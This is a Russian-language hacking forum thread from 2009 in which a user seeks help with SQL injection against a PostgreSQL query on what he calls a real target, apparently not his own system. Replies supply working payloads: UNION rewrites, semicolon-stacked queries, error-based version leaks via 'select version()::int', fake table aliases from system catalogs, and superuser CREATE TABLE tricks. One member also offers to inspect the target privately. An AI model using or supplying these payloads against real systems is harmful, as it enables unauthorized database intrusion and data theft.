SQL injection в Postgresql[многострочный запрос]

Discussion in 'Песочница' started by osnovatel, 5 Sep 2009.

  1. osnovatel

    osnovatel New Member

    Joined:
    4 Sep 2009
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Доброго дня!
    Может быть кто-нибудь подскажет, как провести SQL Injection в Postgresql если запрос в несколько строк, и я не могу закомментировать остаток, например..

    line 10 WHERE a.id=[тут иньекция] AND
    line 11 b.b_id = a.a_id AND
    line 12 c.c_id = b.b_id AND
    line 13 c.c_id = 100;

    комментарий вида -- комментит только до конца строки, то что на следующей строке он не комментит.
    комментарий вида /* требует чтобы коммент закрывался, а вставить */ в конце запроса я не могу.

    названия таблиц a,b,c я не знаю, поэтому не могу закончить запрос сам.

    жду комментариев. спасибо.
     
    1 person likes this.
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    942
    Likes Received:
    835
    Reputations:
    605
    попробуй #
     
    _________________________
  3. osnovatel

    osnovatel New Member

    Joined:
    4 Sep 2009
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    попробовал. не комментит. синтаксическая ошибка.
     
  4. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    Думаю такую штуку можно провернуть.
    Ориентируйся на

    select 1 union select 2 union select 3;

    тоесть в твоем случае нужно будет знать имена таблиц, которые участвуют в изначальной выборке.
    например у тебя есть запрос:
    select title,body from news,users,topic where users.id={sqlinj | news.author_id} AND news.topic_id=topic.id;

    то переписать его можно так:

    select title,body from news,users,topic where user.id={
    0 union select null, null
    union select null,null from news,users,topic where 1=1
    } AND news.topic_id=topic.id;


    Примерно так.

    ps Для таких вопросов есть специальная тема.
    /thread46016.html
     
    #4 geezer.code, 5 Sep 2009
    Last edited: 5 Sep 2009
  5. osnovatel

    osnovatel New Member

    Joined:
    4 Sep 2009
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    geezer.code, согласен. Но вся проблема в том, что названия таблиц я не знаю.. в моем примере A, B, C - это алиасы(сокращения).
    верхнюю часть запроса, где SELECT и FROM посмотреть не удается. Вот такая вот задачка :)
     
  6. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    ps Для таких вопросов есть специальная тема.
    /thread46016.html


    ты уверен что это алиасы? если взглянуть на c_id a_id b_id то так почемуто не кажется.
     
  7. osnovatel

    osnovatel New Member

    Joined:
    4 Sep 2009
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    geezer.code, да, уверен. вот реальный запрос:
    where XX.id=[injection]
    AND AB.company_id = XX.id
    AND XXX.company_id = XX.id
    AND XXX.people_id = 100;

    настоящие названия таблиц XX и АВ мне удалось подобрать, а вот с XXX проблема.
     
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    line 10 WHERE a.id=1;[тут иньекция];SELECT 1 AND
    line 11 b.b_id = a.a_id AND
    line 12 c.c_id = b.b_id AND
    line 13 c.c_id = 100;

    обрамляешь запрос точками с запятой, запросы будут выполняеться по очереди. a.id у тебя будет иметь вид
    1;select version()::int;SELECT 1
    /thread35599.html
     
    #8 Spyder, 5 Sep 2009
    Last edited: 5 Sep 2009
  9. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    Spyder, а ошибка в последнем запросе разве не играет роли ?
    то есть если будет ошибка, то будет вывод ? Он ведь не знает названия всех таблиц, которые используются в условии ?
     
  10. osnovatel

    osnovatel New Member

    Joined:
    4 Sep 2009
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Spyder, тогда последний запрос будет иметь вид:
    SELECT 1 AND b.b_id = a.a_id AND c.c_id = b.b_id AND c.c_id = 100;
    на что выпадет ошибка: missing FROM-clause entry for table "b".

    >>/thread35599.html
    До того как запостить свой топик, читал эту и другие ветки, ничего по моей теме не нашел.
     
  11. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    попробуй
    1;select version()::int;SELECT 1 or 1=1
    или
    1;select version()::int;SELECT 1 from pg_user where 1=1 or 2=2
     
  12. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Еще вариант, если будет ругаться на отсутсвие таблиц

    1;select version()::int;SELECT a.lanname as a.a_id,b.tablename as b.b_id,c.usesysid as c.c_id from pg_language a,pg_tables b,pg_user c where 1=1 or 2=2
     
  13. osnovatel

    osnovatel New Member

    Joined:
    4 Sep 2009
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    >>1;select version()::int;SELECT 1 or 1=1
    >>1;select version()::int;SELECT 1 from pg_user where 1=1 or 2=2
    да, так же ругается на отсутствие таблиц.

    >>SELECT a.lanname as a.a_id,b.tablename as b.b_id,c.usesysid as c.c_id from pg_language a,pg_tables b,pg_user c where 1=1 or 2=2

    к сожалению не позволяет определить столбец a.lanname как a.a_id, ругается на точку в алиасе.
    Но спасибо за варианты :)
     
  14. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Скинь линк в пм, посмотрю что за чудо у тебя
    либо пробуй так
    select+version()::int;SELECT a.lanname as a_id,b.tablename as b_id,c.usesysid as c_id from pg_language a,pg_tables b,pg_user c where 1=1 or 2=2
     
    #14 Spyder, 5 Sep 2009
    Last edited: 5 Sep 2009
  15. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Кстати говоря, если есть права супер юзера, можно создать эти самые таблицы
    a_id=1;CREATE TABLE a (a_id int);CREATE TABLE b (b_id int);CREATE TABLE c (c_id int);SELECT version()::int;SELECT a.a_id,b.b_id,c.c_id from a,b,c WHERE 1=1

    И вообще очень странно что у тебя не работают мои примеры, т.к. при правильном синтаксисе запросы выполняются по очереди, и конструкция version()::int возвратит ошибку раньше